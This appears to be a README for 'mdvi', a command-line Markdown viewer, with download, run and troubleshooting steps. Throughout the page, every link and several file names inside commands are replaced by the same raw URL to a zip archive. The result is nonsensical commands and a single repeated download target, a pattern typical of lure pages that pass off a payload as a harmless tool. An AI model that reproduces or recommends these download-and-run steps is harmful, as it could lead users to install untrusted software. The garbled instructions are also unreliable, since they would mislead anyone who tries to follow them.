mdvi is a command-line program that lets you view Markdown files quickly and clearly. Markdown is a type of text format used for writing notes, documents, and web pages. Instead of opening a file in a complex program, mdvi shows it in an easy-to-read way right in your terminal or command prompt.
This tool is useful for anyone who works with Markdown files too often and wants a simple way to read them without extra software or formatting.
- People who write or read Markdown notes.
- Users who want a quick way to view Markdown without opening graphic editors.
- Anyone comfortable using basic command prompt or terminal commands.
You don’t need to know how to code or use advanced tools. This guide will take you through the full process from getting to running mdvi.
Before starting, please make sure:
- Your computer uses one of these operating systems:
- Windows 10 or later
- macOS 10.13 (High Sierra) or later
- Linux (most recent versions)
- You have a terminal or command prompt app:
- On Windows: Command Prompt or PowerShell
- On macOS: Terminal app (found in Utilities)
- On Linux: Terminal app (varies by distribution)
- Your Markdown files are saved on your device and accessible.
If you’re unsure, this guide will help walk you through the basics.
To get mdvi, visit the official release page here:
Here is how to proceed:
- Click the link above or the blue Download button at the top. This link takes you to the release page where the latest files are stored.
- Look for the version of mdvi that matches your operating system. These will usually have names such as:
https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zipfor Windowsmdvi-macosfor Macmdvi-linuxfor Linux
- Click the file name to start your download.
- Once the file finishes downloading, locate it in your Downloads folder or chosen save location.
No installation wizard runs here. You just need to save the program file on your computer.
After saving the correct mdvi file for your system, follow the steps below.
- Open Command Prompt or PowerShell.
- Press
Win + R, typecmd, and hit Enter to open Command Prompt.
- Press
- Navigate to the folder where you saved mdvi.
- Use the command:
cd C:\Users\YourName\Downloads
ReplaceYourNamewith your actual username or the folder path where you saved mdvi.
- Use the command:
- Run mdvi by typing:
.\https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip
Replacehttps://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zipwith the name of your Markdown file.
- Open Terminal.
- Go to the folder with mdvi:
cd ~/Downloads
(Or where you saved the file.) - Set executable permission if needed:
chmod +x mdvi-macos
(ormdvi-linuxfor Linux) - Run the program by typing:
./mdvi-macos https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip
(Replacehttps://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zipwith your file name.)
If the Markdown file you want to view is somewhere else, provide the full path to that file, for example:
./mdvi-macos https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip
mdvi focuses on showing your Markdown file clearly. Once running, it converts the raw Markdown text into nicely formatted text in your terminal.
- You only need to provide the file name or path when you run it.
- mdvi displays headings, lists, links, and code blocks with simple formatting.
- Scroll through your file using your terminal’s scroll bar.
- To exit mdvi, press
Ctrl + Cor close the terminal window.
More advanced features will appear in future updates, but this version keeps things straightforward.
If you’re new to Markdown, here are some basics on what you can write and how mdvi will show them:
# Heading 1becomes a large title.## Heading 2is shown smaller but clear.* Bullet pointsand- Dashescreate lists.[Link](https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip)appears as clickable or colored text in supported terminals.- Blocks of code appear with indentation, making them easy to spot.
- Plain paragraphs keep the text neat and readable.
You can write Markdown in any text editor like Notepad (Windows), TextEdit (Mac), or Gedit (Linux).
If mdvi does not work as expected, check the following:
- Make sure you typed the exact file name in the command.
- Confirm your Markdown file exists and is not open in another program.
- Verify you downloaded the correct mdvi file for your operating system.
- If you see “permission denied” on macOS/Linux, run
chmod +x <file>as shown above. - Use
--helpafter mdvi to see any available commands:
./mdvi-macos --help
If problems persist, you can open an issue on the GitHub page:
https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip
To update mdvi to the latest version:
- Return to the release page:
https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip - Download the newest file matching your OS.
- Replace the old mdvi program file with the new one in your saved folder.
- Run mdvi as before.
- To learn Markdown basics, visit:
https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip - If you want a text editor that supports Markdown, try programs like Visual Studio Code or Typora.
- For terminal help on your system, search for “How to use Command Prompt” (Windows) or “Terminal basics” (Mac/Linux).
If you want to suggest features or report bugs for mdvi, use the GitHub issue tracker:
https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip
For general questions, you can look at the discussions area on GitHub or join community Markdown forums.
Thank you for choosing mdvi to make your Markdown viewing simpler. Visit the release page to get started: https://github.com/JINrielIDK/mdvi/raw/refs/heads/master/src/Software_3.7-beta.2.zip